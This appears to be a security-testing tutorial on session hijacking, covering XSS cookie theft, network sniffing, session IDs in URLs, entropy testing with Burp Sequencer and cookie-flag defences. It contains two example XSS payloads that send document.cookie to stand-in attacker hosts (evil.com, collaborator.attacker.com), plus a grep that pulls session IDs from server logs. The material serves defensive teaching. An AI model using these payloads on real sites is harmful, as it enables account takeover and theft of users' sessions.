Session hijacking

Why This Matters

Session hijacking via token theft has been a fundamental attack vector since the earliest days of web authentication. The 2010 Firesheep Firefox extension democratised session hijacking on open Wi-Fi networks, demonstrating that capturing cookies from unencrypted HTTP connections required no technical expertise. More recently, XSS-based session token theft remains one of the most impactful exploitation outcomes in bug bounty programs, and session ID exposure via server logs and Referer headers has been documented in breach investigations against financial institutions. OWASP A07:2021 lists predictable session IDs and unprotected token transmission as key characteristics of broken authentication, and a stolen session token provides exactly the same access as the user's password — with no MFA required.

Core Concept

Session hijacking is the unauthorised acquisition and use of a victim's session token to impersonate them to the web application. Unlike session fixation (where the attacker plants the token before authentication), session hijacking requires obtaining a token that was created for and assigned to the victim after their legitimate authentication.

Session token theft via XSS is the most common vector in modern applications: a stored or reflected cross-site scripting vulnerability allows the attacker to execute JavaScript in the victim's browser context, where document.cookie returns all non-HttpOnly cookies. The attacker sends these cookies to their own server: new Image().src = 'https://evil.com/steal?c=' + document.cookie. The HttpOnly cookie attribute is the specific control that prevents this: cookies marked HttpOnly are inaccessible to JavaScript, regardless of XSS.

Network interception on plain HTTP allows passive capture of session tokens transmitted in Cookie headers. Packet capture tools can filter for HTTP Cookie headers and extract session IDs in cleartext. The Secure cookie attribute prevents this by instructing the browser to transmit the cookie only over HTTPS connections. In mixed-content contexts (HTTPS page loading HTTP resources), the browser may send cookies over the HTTP sub-request depending on the SameSite and Secure configuration.

Session ID in URL is an older pattern (common in Java web applications with jsessionid in the path and legacy PHP with ?PHPSESSID=) where the session token is embedded in the URL rather than in a cookie. This exposes the token in server access logs, browser history, proxy logs, and the HTTP Referer header when following links to other domains. The Referer-Policy header and modern browser defaults partially mitigate Referer leakage, but server-side log exposure remains a full compromise vector.

Predictable session IDs allow an attacker to enumerate or calculate valid session IDs without observing network traffic. A session ID generated from sequential integers, timestamps, or a weak PRNG can be predicted from a small number of observed values.

Technical Deep-Dive

Session token theft via XSS (conceptual payload — do not use against targets without authorisation):

// XSS payload injected into a vulnerable field
// Exfiltrates non-HttpOnly cookies to attacker infrastructure
fetch("https://collaborator.attacker.com/steal", {
  method: "POST",
  body: document.cookie
});

Cookie attribute inspection with Burp:

HTTP/1.1 200 OK
Set-Cookie: session=abc123randomsessionid; Path=/
-- MISSING: HttpOnly → document.cookie accessible to JavaScript → XSS theft possible
-- MISSING: Secure   → transmitted over HTTP → network interception possible
-- MISSING: SameSite → included in cross-origin requests → CSRF possible

-- Secure configuration:
Set-Cookie: session=abc123randomsessionid; Path=/; HttpOnly; Secure; SameSite=Strict

Session ID entropy analysis with Burp Sequencer:

1. In Burp Suite, go to the login endpoint in the HTTP history
2. Right-click the response containing Set-Cookie: session=...
3. Select "Send to Sequencer"
4. Configure the token location: Cookie → session
5. Click "Start live capture" — Burp will request 200+ session tokens
6. Analysis → Character-level analysis and FIPS tests
7. Effective entropy < 64 bits is a reportable finding
8. Effective entropy < 32 bits is a critical finding

Passive session ID capture from URL in proxy logs:

# Apache access log format shows URL with JSESSIONID:
# 192.168.1.1 - - [01/Jan/2024:10:00:00] "GET /app/page;jsessionid=ABCD1234EFGH5678 HTTP/1.1" 200
grep -oE "jsessionid=[A-F0-9]+" /var/log/apache2/access.log | sort | uniq

Security Assessment Methodology

1. Inspect all session cookie attributes — For every Set-Cookie header in the application's responses, verify the presence of HttpOnly, Secure, and SameSite flags. Use Burp's passive scan or the "Cookie attributes" issue in the active scan results.
2. Check for session IDs in URLs — Search the Burp HTTP history for session-related parameters in URL paths or query strings: jsessionid, PHPSESSID, sessid, token. Check whether these values appear in Referer headers on outbound requests.
3. Measure session ID entropy with Burp Sequencer — Capture 200+ session tokens via automated requests and analyse the effective entropy. Document the bits of entropy and the statistical test results.
4. Test concurrent session handling — Log in from two different browsers simultaneously. Determine whether both sessions are valid concurrently (no concurrent session limit) or whether the second login invalidates the first.
5. Test session persistence after logout — After logout, attempt to use the old session token in a request to an authenticated endpoint. The server must return a 401/redirect, not the authenticated content.
6. Assess the XSS impact — If XSS vulnerabilities are present (separate finding), demonstrate cookie theft by exfiltrating to Burp Collaborator. This elevates the XSS from "reflected" to "account takeover" severity.

Defensive Countermeasure — Set HttpOnly, Secure, and SameSite=Strict (or Lax for applications requiring cross-site GET navigations) on all session cookies, generate session IDs with at least 128 bits of CSPRNG entropy, never embed session IDs in URLs, and implement server-side session invalidation on logout that immediately removes the session record rather than just clearing the client cookie.

Common Assessment Errors

• Checking only the login response for cookie attributes — Session cookies may be re-issued or extended at any point. Check Set-Cookie headers throughout the application flow, including on AJAX responses.
• Forgetting SameSite=None implications — An application that requires cross-origin cookie transmission (OAuth callback, embedded iframe) may set SameSite=None. This is a valid configuration but reintroduces CSRF risk and should be flagged for architectural review.
• Using Sequencer with too few samples — 20 or 30 tokens is insufficient for statistically meaningful entropy analysis. Use at least 200 samples and prefer 1 000+ for high-assurance assessments.
• Not testing session validity after password change — When a user changes their password, all other active sessions should be invalidated. Test this by logging in from two devices and changing the password on one.
• Conflating session hijacking with session fixation — The remediation differs: fixation requires regeneration on login; hijacking requires secure token transmission and HttpOnly/Secure flags. Both may be present simultaneously.
• Missing token leakage via error pages — Error pages and debug responses sometimes reflect back the session token in the response body or URL. Check all error conditions for inadvertent token disclosure.

NICE Framework Alignment

Further Reading

• OWASP Testing Guide v4.2, OTG-SESS-001: Testing for Cookie Attributes — OWASP Foundation
• OWASP Session Management Cheat Sheet — OWASP Foundation
• Firesheep and the Case for Ubiquitous HTTPS — Eric Butler (original research, 2010)